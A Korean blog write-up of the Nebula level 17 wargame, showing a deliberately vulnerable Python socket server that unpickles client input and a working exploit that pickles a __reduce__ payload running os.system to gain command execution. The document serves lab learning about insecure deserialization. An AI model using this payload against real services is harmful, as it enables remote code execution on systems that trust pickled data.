Notice
Recent Posts
Recent Comments
Link
«   2024/07   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

kaka09

pickle 취약점 으로 Nebula level 17 풀이 본문

Pwnable

pickle 취약점 으로 Nebula level 17 풀이

kaka09 2017. 8. 7. 01:46
(level17.py)download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python

import os
import pickle
import time
import socket
import signal

signal.signal(signal.SIGCHLD, signal.SIG_IGN)

def server(skt):
  line = skt.recv(1024)

  obj = pickle.loads(line)

  for i in obj:
      clnt.send("why did you send me " + i + "?\n")

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)

while True:
  clnt, addr = skt.accept()

  if(os.fork() == 0):
      clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
      server(clnt)



문제의 소스코드를 살펴보면 파이썬으로 간단한 소켓통신을 구현한 프로그램이다.  취약점 포인트는 14번째줄인 pickle.loads(line)에서 발생한다. 구글 검색결과 pickle 모듈은 자료형이 텍스트가아닌 리스트 형태나 클래스형태의 데이터를 저장하고 읽을때 사용하는 모듈이라고 한다.  문제는 piclkle.loads(line)를 통해 클라이언트로부터  pickle된 데이터를 unpickle 시켜줄때, 만약 클라이언트에서 데이터를 시스템 명령어 같은것으로 집어넣는다면 unpickle 과정을 거치면서 시스템 명령어가 그대로 실행된다는 취약점이 발생한다. 즉 익스플로잇의 흐름은 다음과 같다.

__reduce__ -> tuple -> dumps -> loads

파이썬으로 익스플로잇 코드를 제작해보자

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python
 
import os
import pickle
import socket
 
class Kaka(object):
            def __reduce__(self):
                                return (os.system,(('getflag >/tmp/flag17'),))
 
HOST="192.168.200.134"
PORT=10007
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)
s.connect((HOST,PORT))
 
reply=s.recv(1024)
sobj=pickle.dumps(Kaka())
s.send(sobj)
print "Sucess!!\n"
exit()
 

cs

익스플로잇 코드를 분석해보면  18번째 줄에서 pickle 모듈의 dump 메소드를 호출하는데.. 이때 인자로 Kaka() 클래스가 사용된다. Kaka()클래스에서 def __reduce__(self)를 호출하고 리턴값에 시스템 명령어를 반환시킨다.  해당 과정을 수행하면 결국 pickle.dumps('getflag > /tmp/flag17') 라는 식으로 셋팅이 되어 pickle 과정을 거칠것이다. pickle 된 데이터를 서버에 전송하면 서버는 pickles.loads(line) 메소드에 의해 시스템 명령어가 그대로 실행이 된다.